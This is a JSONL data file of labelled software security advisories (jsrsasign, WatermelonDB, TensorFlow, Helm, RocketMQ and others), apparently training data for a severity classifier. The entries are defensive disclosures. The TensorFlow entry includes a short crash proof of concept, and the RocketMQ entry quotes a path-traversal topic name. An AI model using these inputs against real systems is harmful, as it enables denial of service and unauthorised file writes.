-{"id": "8d6e8a013af5d5d8a2e9", "text": "RSA PKCS#1 decryption vulnerability with prepending zeros in jsrsasign\n\n### Impact\nJsrsasign supports RSA PKCS#1 v1.5 (i.e. RSAES-PKCS1-v1_5) and RSA-OAEP encryption and decryption. Its encrypted message is represented as BigInteger. When there is a valid encrypted message, a crafted message with prepending zeros can be decrypted by this vulnerability.\n\n- If you don't use RSA PKCS1-v1_5 or RSA-OAEP decryption, this vulnerability is not affected.\n- Risk to forge contents of encrypted message is very low.\n- Risk to raise memory corruption is low since jsrsasign uses BigInteger class.\n\n### Patches\nUsers using RSA PKCS1-v1_5 or RSA-OAEP decryption should upgrade to 8.0.18.\n\n### Workarounds\nReject RSA PKCS1-v1_5 or RSA-OAEP encrypted message with unnecessary prepending zeros.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14967\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14967\nhttps://vuldb.com/?id.157124\nhttps://kjur.github.io/jsrsasign/api/symbols/KJUR.crypto.Cipher.html#.decrypt\nhttps://github.com/kjur/jsrsasign/issues/439", "text_raw": "RSA PKCS#1 decryption vulnerability with prepending zeros in jsrsasign\n\n[Severity: CRITICAL]\n\n### Impact\nJsrsasign supports RSA PKCS#1 v1.5 (i.e. RSAES-PKCS1-v1_5) and RSA-OAEP encryption and decryption. Its encrypted message is represented as BigInteger. When there is a valid encrypted message, a crafted message with prepending zeros can be decrypted by this vulnerability.\n\n- If you don't use RSA PKCS1-v1_5 or RSA-OAEP decryption, this vulnerability is not affected.\n- Risk to forge contents of encrypted message is very low.\n- Risk to raise memory corruption is low since jsrsasign uses BigInteger class.\n\n### Patches\nUsers using RSA PKCS1-v1_5 or RSA-OAEP decryption should upgrade to 8.0.18.\n\n### Workarounds\nReject RSA PKCS1-v1_5 or RSA-OAEP encrypted message with unnecessary prepending zeros.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14967\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14967\nhttps://vuldb.com/?id.157124\nhttps://kjur.github.io/jsrsasign/api/symbols/KJUR.crypto.Cipher.html#.decrypt\nhttps://github.com/kjur/jsrsasign/issues/439\n\n\n\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-26", "split": "train"}
-{"id": "dc70d63cd7afe8723bb5", "text": "Cross-Site Scripting in public\n\nAll versions of `public` are vulnerable to stored cross-site scripting (XSS).\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time.", "text_raw": "Cross-Site Scripting in public\n\n[Severity: LOW]\n\nAll versions of `public` are vulnerable to stored cross-site scripting (XSS). \n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-05-31", "split": "train"}
-{"id": "49a60806cf91b26c11d6", "text": "DoS via malicious record IDs in WatermelonDB\n\n## Impact\n\nA maliciously crafted record ID can exploit a SQL Injection vulnerability in iOS adapter implementation and cause the app to delete all or selected records from the database, generally causing the app to become unusable.\n\nThis may happen in apps that don't validate IDs (valid IDs are `/^[a-zA-Z0-9_-.]+$/`) and use Watermelon Sync or low-level `database.adapter.destroyDeletedRecords` method.\n\nThe integrity risk is low due to the fact that maliciously deleted records won't synchronize, so logout-login will restore all data, although some local changes may be lost if the malicious deletion causes the sync process to fail to proceed to push stage.\n\nNo way to breach confidentiality with this vulnerability is known. Full exploitation of SQL Injection is mitigated, because it's not possible to nest an insert/update query inside a delete query in SQLite, and it's not possible to pass a semicolon-separated second query. There's also no known practicable way to breach confidentiality by selectively deleting records, because those records will not be synchronized.\n\nIt's theoretically possible that selective record deletion could cause an app to behave insecurely if lack of a record is used to make security decisions by the app.\n\n## Patches\n\nPatched versions include:\n\n- 0.15.1\n- 0.16.2\n- 0.16.1-fix\n\t- this is actually the same as 0.16.0, but with the patch applied - as 0.16.1 is causing issues for some users\n- `924c7ae2a8d` commit id contains the patch\n\n## Workarounds\n\n1. Ensure that your backend service sanitizes record IDs sent in the `pull sync` endpoint, such that only IDs matching `/^[a-zA-Z0-9_-.]+$/` are returned. This could also be done in JavaScript `pullChanges` function passed to `synchronize()`\n2. If you use `destroyDeletedRecords` directly, validate all IDs passed the same way\n\n## For more information\n\nIf you have any questions about this advisory, contact @radex.", "text_raw": "DoS via malicious record IDs in WatermelonDB\n\n[Severity: MEDIUM]\n\n## Impact\n\nMedium severity 5.9 https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H\n\nA maliciously crafted record ID can exploit a SQL Injection vulnerability in iOS adapter implementation and cause the app to delete all or selected records from the database, generally causing the app to become unusable.\n\nThis may happen in apps that don't validate IDs (valid IDs are `/^[a-zA-Z0-9_-.]+$/`) and use Watermelon Sync or low-level `database.adapter.destroyDeletedRecords` method.\n\nThe integrity risk is low due to the fact that maliciously deleted records won't synchronize, so logout-login will restore all data, although some local changes may be lost if the malicious deletion causes the sync process to fail to proceed to push stage.\n\nNo way to breach confidentiality with this vulnerability is known. Full exploitation of SQL Injection is mitigated, because it's not possible to nest an insert/update query inside a delete query in SQLite, and it's not possible to pass a semicolon-separated second query. There's also no known practicable way to breach confidentiality by selectively deleting records, because those records will not be synchronized.\n\nIt's theoretically possible that selective record deletion could cause an app to behave insecurely if lack of a record is used to make security decisions by the app. \n\n## Patches\n\nPatched versions include:\n\n- 0.15.1\n- 0.16.2\n- 0.16.1-fix\n\t- this is actually the same as 0.16.0, but with the patch applied - as 0.16.1 is causing issues for some users\n- `924c7ae2a8d` commit id contains the patch\n\n## Workarounds\n\n1. Ensure that your backend service sanitizes record IDs sent in the `pull sync` endpoint, such that only IDs matching `/^[a-zA-Z0-9_-.]+$/` are returned. This could also be done in JavaScript `pullChanges` function passed to `synchronize()`\n2. If you use `destroyDeletedRecords` directly, validate all IDs passed the same way\n\n## For more information\n\nIf you have any questions about this advisory, contact @radex.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "9a15938baf7132f309e2", "text": "Cross-Site Request Forgery in MicroPyramid Django CRM\n\nMultiple CSRF issues exist in MicroPyramid Django CRM 0.2.1 via /change-password-by-admin/, /api/settings/add/, /cases/create/, /change-password-by-admin/, /comment/add/, /documents/1/view/, /documents/create/, /opportunities/create/, and /login/.", "text_raw": "Cross-Site Request Forgery in MicroPyramid Django CRM\n\n[Severity: HIGH]\n\nMultiple CSRF issues exist in MicroPyramid Django CRM 0.2.1 via /change-password-by-admin/, /api/settings/add/, /cases/create/, /change-password-by-admin/, /comment/add/, /documents/1/view/, /documents/create/, /opportunities/create/, and /login/.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-09-11", "split": "train"}
-{"id": "30d68fa055decf11def0", "text": "HTTP Request Smuggling in Undertow\n\nA flaw was discovered in all versions of Undertow before Undertow 2.2.0.Final, where HTTP request smuggling related to CVE-2017-2666 is possible against HTTP/1.x and HTTP/2 due to permitting invalid characters in an HTTP request. This flaw allows an attacker to poison a web-cache, perform an XSS attack, or obtain sensitive information from request other than their own.", "text_raw": "HTTP Request Smuggling in Undertow\n\n[Severity: MEDIUM]\n\nA flaw was discovered in all versions of Undertow before Undertow 2.2.0.Final, where HTTP request smuggling related to CVE-2017-2666 is possible against HTTP/1.x and HTTP/2 due to permitting invalid characters in an HTTP request. This flaw allows an attacker to poison a web-cache, perform an XSS attack, or obtain sensitive information from request other than their own.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "1a5b371c6402e45f4be7", "text": "SSRF in Sydent due to missing validation of hostnames\n\n### Impact\n\nSydent can be induced to send HTTP GET requests to internal systems, due to lack of parameter validation or IP address blacklisting.\n\nIt is not possible to exfiltrate data or control request headers, but it might be possible to use the attack to perform an internal port enumeration.\n\n### Patches\n\nFixed in 9e57334, 8936925, 3d531ed, 0f00412\n\n### Workarounds\n\nA potential workaround would be to use a firewall to ensure that Sydent cannot reach internal HTTP resources.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "text_raw": "SSRF in Sydent due to missing validation of hostnames\n\n[Severity: MEDIUM]\n\n### Impact\n\nSydent can be induced to send HTTP GET requests to internal systems, due to lack of parameter validation or IP address blacklisting.\n\nIt is not possible to exfiltrate data or control request headers, but it might be possible to use the attack to perform an internal port enumeration.\n\n### Patches\n\nFixed in 9e57334, 8936925, 3d531ed, 0f00412\n\n### Workarounds\n\nA potential workaround would be to use a firewall to ensure that Sydent cannot reach internal HTTP resources.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "a07fcf77a723292ad6f2", "text": "Cross-site Scripting (XSS) in baserCMS\n\nImproper neutralization of JavaScript input in the blog article editing function of baserCMS versions prior to 4.4.5 allows remote authenticated attackers to inject an arbitrary script via unspecified vectors.", "text_raw": "Cross-site Scripting (XSS) in baserCMS\n\n[Severity: MEDIUM]\n\nImproper neutralization of JavaScript input in the blog article editing function of baserCMS versions prior to 4.4.5 allows remote authenticated attackers to inject an arbitrary script via unspecified vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "2fa6ced6fc6d82bd233a", "text": "Dell SonicWALL Secure Mobile Access SMA 8.1 XSS And WAF CSRF", "text_raw": "Dell SonicWALL Secure Mobile Access SMA 8.1 XSS And WAF CSRF\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-12-29", "split": "train"}
-{"id": "285e9579f70428ad56c2", "text": "Cross-site scripting in phpoffice/phpspreadsheet\n\nThis affects the package phpoffice/phpspreadsheet. The library is vulnerable to XSS when creating an html output from an excel file by adding a comment on any cell. The root cause of this issue is within the HTML writer where user comments are concatenated as part of link and this is returned as HTML.", "text_raw": "Cross-site scripting in phpoffice/phpspreadsheet\n\n[Severity: MEDIUM]\n\nThis affects the package phpoffice/phpspreadsheet. The library is vulnerable to XSS when creating an html output from an excel file by adding a comment on any cell. The root cause of this issue is within the HTML writer where user comments are concatenated as part of link and this is returned as HTML.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "10fccad5dfd63e40a75b", "text": "Undefined behavior in `MaxPool3DGradGrad`\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPool3DGradGrad` exhibits undefined behavior by dereferencing null pointers backing attacker-supplied empty tensors:\n\n```python\nimport tensorflow as tf\n\norig_input = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\norig_output = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\ngrad = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\nksize = [1, 1, 1, 1, 1]\nstrides = [1, 1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.MaxPool3DGradGrad(\n    orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,\n    strides=strides, padding=padding)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/72fe792967e7fd25234342068806707bbc116618/tensorflow/core/kernels/pooling_ops_3d.cc#L679-L703) fails to validate that the 3 tensor inputs are not empty. If any of them is empty, then accessing the elements in the tensor results in dereferencing a null pointer.\n\n### Patches\nWe have patched the issue in GitHub commit [a3d9f9be9ac2296615644061b40cefcee341dcc4](https://github.com/tensorflow/tensorflow/commit/a3d9f9be9ac2296615644061b40cefcee341dcc4).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Undefined behavior in `MaxPool3DGradGrad`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPool3DGradGrad` exhibits undefined behavior by dereferencing null pointers backing attacker-supplied empty tensors:\n\n```python\nimport tensorflow as tf\n\norig_input = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\norig_output = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\ngrad = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\nksize = [1, 1, 1, 1, 1]\nstrides = [1, 1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.MaxPool3DGradGrad(\n    orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,\n    strides=strides, padding=padding)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/72fe792967e7fd25234342068806707bbc116618/tensorflow/core/kernels/pooling_ops_3d.cc#L679-L703) fails to validate that the 3 tensor inputs are not empty. If any of them is empty, then accessing the elements in the tensor results in dereferencing a null pointer.\n\n### Patches\nWe have patched the issue in GitHub commit [a3d9f9be9ac2296615644061b40cefcee341dcc4](https://github.com/tensorflow/tensorflow/commit/a3d9f9be9ac2296615644061b40cefcee341dcc4).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "222ed89a75a47a848397", "text": "LEADTOOLS ActiveX Common Dialogs 16.5 Multiple Remote Vulnerabilities", "text_raw": "LEADTOOLS ActiveX Common Dialogs 16.5 Multiple Remote Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-09-01", "split": "train"}
-{"id": "43b7f5fd7abdfb954d75", "text": "ruby-openid SSRF via claimed_id request", "text_raw": "ruby-openid SSRF via claimed_id request\n\n[Severity: CRITICAL]\n\nRuby OpenID (aka ruby-openid) through 2.8.0 is vulnerable to SSRF. Ruby-openid performs discovery first, and then verification. This allows an attacker to change the URL used for discovery and trick the server into connecting to the URL, which might be a private server not publicly accessible. Severity can range from medium to critical, depending on how a web application developer chose to employ the ruby-openid library. Developers who based their OpenID integration heavily on the \"example app\" provided by the project are at highest risk.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "a76d686e295d68fa9c90", "text": "Prototype Pollution in deep-override\n\nPrototype pollution vulnerability in 'deep-override' versions 1.0.0 through 1.0.1 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype Pollution in deep-override\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'deep-override' versions 1.0.0 through 1.0.1 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "d746234fd4849f611437", "text": "NULL NUKE CMS v2.2 Multiple Vulnerabilities", "text_raw": "NULL NUKE CMS v2.2 Multiple Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-04-28", "split": "train"}
-{"id": "2f90a07168d6f5bd38da", "text": "CKEditor 5 Markdown plugin Regular expression Denial of Service\n\n### Impact\nA regular expression denial of service (ReDoS) vulnerability has been discovered in the CKEditor 5 Markdown plugin code. The vulnerability allowed to abuse a link recognition regular expression, which could cause a significant performance drop resulting in a browser tab freeze. It affects all users using the CKEditor 5 Markdown plugin at version <= 24.0.0.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 25.0.0.\n\n### Workarounds\nThe user can work around the issue by:\n- Upgrading CKEditor 5 to version 25.0.0.\n- Disabling the Markdown plugin.\n\n### More information\nIf you have any questions or comments about this advisory:\n* Email us at [security@cksource.com](mailto:security@cksource.com)\n\n### Acknowledgements\nThe CKEditor 5 team would like to thank Erik Krogh Kristensen from the GitHub team for recognizing this vulnerability and \nAlvaro Muñoz from GitHub for reporting it.", "text_raw": "CKEditor 5 Markdown plugin Regular expression Denial of Service\n\n[Severity: MEDIUM]\n\n### Impact\nA regular expression denial of service (ReDoS) vulnerability has been discovered in the CKEditor 5 Markdown plugin code. The vulnerability allowed to abuse a link recognition regular expression, which could cause a significant performance drop resulting in a browser tab freeze. It affects all users using the CKEditor 5 Markdown plugin at version <= 24.0.0. \n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 25.0.0.\n\n### Workarounds\nThe user can work around the issue by:\n- Upgrading CKEditor 5 to version 25.0.0.\n- Disabling the Markdown plugin.\n\n### More information\nIf you have any questions or comments about this advisory:\n* Email us at [security@cksource.com](mailto:security@cksource.com)\n\n### Acknowledgements\nThe CKEditor 5 team would like to thank Erik Krogh Kristensen from the GitHub team for recognizing this vulnerability and \nAlvaro Muñoz from GitHub for reporting it.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "9e91a0b27d395eb6c6c8", "text": "Haml vulnerable to cross-site scripting\n\nIn haml versions prior to version 5.0.0.beta.2, when using user input to perform tasks on the server, characters like `< > \" '` must be escaped properly. In this case, the `'` character was missed. An attacker can manipulate the input to introduce additional attributes, potentially executing code.", "text_raw": "Haml vulnerable to cross-site scripting\n\n[Severity: MEDIUM]\n\nIn haml versions prior to version 5.0.0.beta.2, when using user input to perform tasks on the server, characters like `< > \" '` must be escaped properly. In this case, the `'` character was missed. An attacker can manipulate the input to introduce additional attributes, potentially executing code.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-21", "split": "train"}
-{"id": "5f581de780c5210aa8f0", "text": "SQL Injection in mysql\n\nVersions of `mysql` prior to 2.0.0-alpha8 are affected by a SQL Injection vulnerability in the `mysql.escape()` function, which does not properly escape object keys.\n\n## Recommendation\n\nUpdate to version 2.0.0-alpha8 or later.", "text_raw": "SQL Injection in mysql\n\n[Severity: MEDIUM]\n\nVersions of `mysql` prior to 2.0.0-alpha8 are affected by a SQL Injection vulnerability in the `mysql.escape()` function, which does not properly escape object keys.\n\n\n## Recommendation\n\nUpdate to version 2.0.0-alpha8 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "d86382fd9761994f1f23", "text": "Memory corruption slice-deque\n\nAffected versions of this crate did not properly update the head and tail of the deque when inserting and removing elements from the front if, before insertion or removal, the tail of the deque was in the mirrored memory region, and if, after insertion or removal, the head of the deque is exactly at the beginning of the mirrored memory region.\n\nAn attacker that controls both element insertion and removal into the deque could put it in a corrupted state. Once the deque enters such an state, its head and tail are corrupted, but in bounds of the allocated memory. This can result in partial reads and writes, reads of uninitialized memory, reads of memory containing previously dropped objects, etc. An attacker could exploit this to alter program execution.\n\nThe flaw was corrected by properly updating the head and tail of the deque in this case.", "text_raw": "Memory corruption slice-deque\n\n[Severity: CRITICAL]\n\nAffected versions of this crate did not properly update the head and tail of the deque when inserting and removing elements from the front if, before insertion or removal, the tail of the deque was in the mirrored memory region, and if, after insertion or removal, the head of the deque is exactly at the beginning of the mirrored memory region.\n\nAn attacker that controls both element insertion and removal into the deque could put it in a corrupted state. Once the deque enters such an state, its head and tail are corrupted, but in bounds of the allocated memory. This can result in partial reads and writes, reads of uninitialized memory, reads of memory containing previously dropped objects, etc. An attacker could exploit this to alter program execution.\n\nThe flaw was corrected by properly updating the head and tail of the deque in this case.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "47e16c74aa214a1c5024", "text": "netmask npm package mishandles octal input data\n\nThe netmask package before 2.0.1 for Node.js mishandles certain unexpected characters in an IP address string, such as an octal digit of 9. This (in some situations) allows attackers to bypass access control that is based on IP addresses. NOTE: this issue exists because of an incomplete fix for CVE-2021-28918.", "text_raw": "netmask npm package mishandles octal input data\n\n[Severity: MEDIUM]\n\nThe netmask package before 2.0.1 for Node.js mishandles certain unexpected characters in an IP address string, such as an octal digit of 9. This (in some situations) allows attackers to bypass access control that is based on IP addresses. NOTE: this issue exists because of an incomplete fix for CVE-2021-28918.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "0554c8a8e69565503883", "text": "sauce-connect downloads Resources over HTTP\n\nAffected versions of `sauce-connect` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `sauce-connect`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and this package has not been updated since 2013.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "sauce-connect downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `sauce-connect` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `sauce-connect`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and this package has not been updated since 2013.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "f924b71573ca4cdb4333", "text": "Cross-Site Scripting in vant\n\nVersions of `vant` prior to 2.1.8 are vulnerable to Cross-Site Scripting. The text value of the `Picker` component column is not sanitized, which may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 2.1.8 or later.", "text_raw": "Cross-Site Scripting in vant\n\n[Severity: HIGH]\n\nVersions of `vant` prior to 2.1.8 are vulnerable to Cross-Site Scripting. The text value of the `Picker` component column is not sanitized, which may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.1.8 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-22", "split": "train"}
-{"id": "2d38761772216009ab6b", "text": "Directory traversal in Apache RocketMQ\n\nIn Apache RocketMQ 4.2.0 to 4.6.0, when the automatic topic creation in the broker is turned on by default, an evil topic like “../../../../topic2020” is sent from rocketmq-client to the broker, a topic folder will be created in the parent directory in brokers, which leads to a directory traversal vulnerability. Users of the affected versions should apply one of the following: Upgrade to Apache RocketMQ 4.6.1 or later.", "text_raw": "Directory traversal in Apache RocketMQ\n\n[Severity: MEDIUM]\n\nIn Apache RocketMQ 4.2.0 to 4.6.0, when the automatic topic creation in the broker is turned on by default, an evil topic like “../../../../topic2020” is sent from rocketmq-client to the broker, a topic folder will be created in the parent directory in brokers, which leads to a directory traversal vulnerability. Users of the affected versions should apply one of the following: Upgrade to Apache RocketMQ 4.6.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-01", "split": "train"}
-{"id": "718336636e8fe8122b42", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Arbitrary File Attacks", "text_raw": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Arbitrary File Attacks\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2018-07-17", "split": "train"}
-{"id": "4d4505663341fd783c53", "text": "Helm passes repository credentials to alternate domain\n\nWhile working on the Helm source, a Helm core maintainer discovered a situation where the username and password credentials associated with a Helm repository could be passed on to another domain referenced by that Helm repository.\n\n### Impact\n\nThe `index.yaml` within a Helm chart repository contains a reference where to get the chart archive for each version of a chart. The reference can be relative to the `index.yaml` file or a URL to location. The URL can point to any domain and this is a feature leveraged by Helm users. For example, an `index.yaml` file can be hosted on GitHub pages while the chart archives are hosted as GitHub releases. These are on different domain names and the `index.yaml` file points to the other domain.\n\nWhen a username and password were associated with a Helm repository the username and password were also passed on to other domains referenced in the `index.yaml` file. This occurred when Helm went to retrieve a specific chart archive on the other domain.\n\n### Patches\n\nThis issue has been resolved in 3.6.1.\n\nThere is a slight behavior change to credential handling with regard to repositories. Usernames and passwords are only passed to the URL location of the Helm repository by default. The username and password are scoped to the scheme, host, and port of the Helm repository. To pass the username and password to other domains Helm may encounter when it goes to retrieve a chart, the new `--pass-credentials` flag can be used. This flag restores the old behavior for a single repository as an opt-in behavior.\n\n### Workarounds\n\nIf you use a username and password for a Helm repository you can audit the Helm repository in order to check for another domain being used that could have received the credentials. In the `index.yaml` file for that repository, look for another domain in the `urls` list for the chart versions. If there is another domain found and that chart version was pulled or installed the credentials would have been passed on.\n\n### For more information\n\nHelm's security policy is spelled out in detail in our [SECURITY](https://github.com/helm/community/blob/master/SECURITY.md) document.", "text_raw": "Helm passes repository credentials to alternate domain\n\n[Severity: MEDIUM]\n\nWhile working on the Helm source, a Helm core maintainer discovered a situation where the username and password credentials associated with a Helm repository could be passed on to another domain referenced by that Helm repository.\n\n### Impact\n\nThe `index.yaml` within a Helm chart repository contains a reference where to get the chart archive for each version of a chart. The reference can be relative to the `index.yaml` file or a URL to location. The URL can point to any domain and this is a feature leveraged by Helm users. For example, an `index.yaml` file can be hosted on GitHub pages while the chart archives are hosted as GitHub releases. These are on different domain names and the `index.yaml` file points to the other domain.\n\nWhen a username and password were associated with a Helm repository the username and password were also passed on to other domains referenced in the `index.yaml` file. This occurred when Helm went to retrieve a specific chart archive on the other domain.\n\n### Patches\n\nThis issue has been resolved in 3.6.1.\n\nThere is a slight behavior change to credential handling with regard to repositories. Usernames and passwords are only passed to the URL location of the Helm repository by default. The username and password are scoped to the scheme, host, and port of the Helm repository. To pass the username and password to other domains Helm may encounter when it goes to retrieve a chart, the new `--pass-credentials` flag can be used. This flag restores the old behavior for a single repository as an opt-in behavior.\n\n### Workarounds\n\nIf you use a username and password for a Helm repository you can audit the Helm repository in order to check for another domain being used that could have received the credentials. In the `index.yaml` file for that repository, look for another domain in the `urls` list for the chart versions. If there is another domain found and that chart version was pulled or installed the credentials would have been passed on.\n\n### For more information\n\nHelm's security policy is spelled out in detail in our [SECURITY](https://github.com/helm/community/blob/master/SECURITY.md) document.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "ef4ef338d7dbdc6678f5", "text": "PrestaShop module ps_facetedsearch might be vulnerable from CVE-2017-9841\n\n### Impact\n\nWe have identified that some ps_facetedsearch module ZIP archives have been built with phpunit dev dependencies. PHPUnit contains a php script that would allow, on a webserver, an attacker to perform a RCE.\n\nThis vulnerability impacts\n- phpunit before 4.8.28 and 5.x before 5.6.3 as reported in [CVE-2017-9841](https://nvd.nist.gov/vuln/detail/CVE-2017-9841)\n- phpunit >= 5.63 before 7.5.19 and 8.5.1 (this is a newly found vulnerability that is currently being submitted as a CVE after disclosure was provided to phpunit maintainers)\n\n### Patches\n\nIn the [security patch](https://github.com/PrestaShop/ps_facetedsearch/releases/tag/v3.4.1), we look for the unwanted vendor/phpunit folder and remove it if we find it. This allows users to fix the security issue when upgrading.\n\n### Workarounds\nUsers can also simply remove the unwanted vendor/phpunit folder.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-9841\n\n### For more information\nIf you have any questions or comments about this advisory, email us at security@prestashop.com", "text_raw": "PrestaShop module ps_facetedsearch might be vulnerable from CVE-2017-9841\n\n[Severity: HIGH]\n\n### Impact\n\nWe have identified that some ps_facetedsearch module ZIP archives have been built with phpunit dev dependencies. PHPUnit contains a php script that would allow, on a webserver, an attacker to perform a RCE.\n\nThis vulnerability impacts\n- phpunit before 4.8.28 and 5.x before 5.6.3 as reported in [CVE-2017-9841](https://nvd.nist.gov/vuln/detail/CVE-2017-9841)\n- phpunit >= 5.63 before 7.5.19 and 8.5.1 (this is a newly found vulnerability that is currently being submitted as a CVE after disclosure was provided to phpunit maintainers)\n\n### Patches\n\nIn the [security patch](https://github.com/PrestaShop/ps_facetedsearch/releases/tag/v3.4.1), we look for the unwanted vendor/phpunit folder and remove it if we find it. This allows users to fix the security issue when upgrading.\n\n### Workarounds\nUsers can also simply remove the unwanted vendor/phpunit folder.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-9841\n\n### For more information\nIf you have any questions or comments about this advisory, email us at security@prestashop.com", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-01-07", "split": "train"}
-{"id": "b43926602f1dd407c72c", "text": "Update unsound DrainFilter and RString::retain\n\nAn issue was discovered in the abi_stable crate before 0.9.1 for Rust. A retain call can create an invalid UTF-8 string, violating soundness.", "text_raw": "Update unsound DrainFilter and RString::retain\n\n[Severity: HIGH]\n\nAn issue was discovered in the abi_stable crate before 0.9.1 for Rust. A retain call can create an invalid UTF-8 string, violating soundness.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
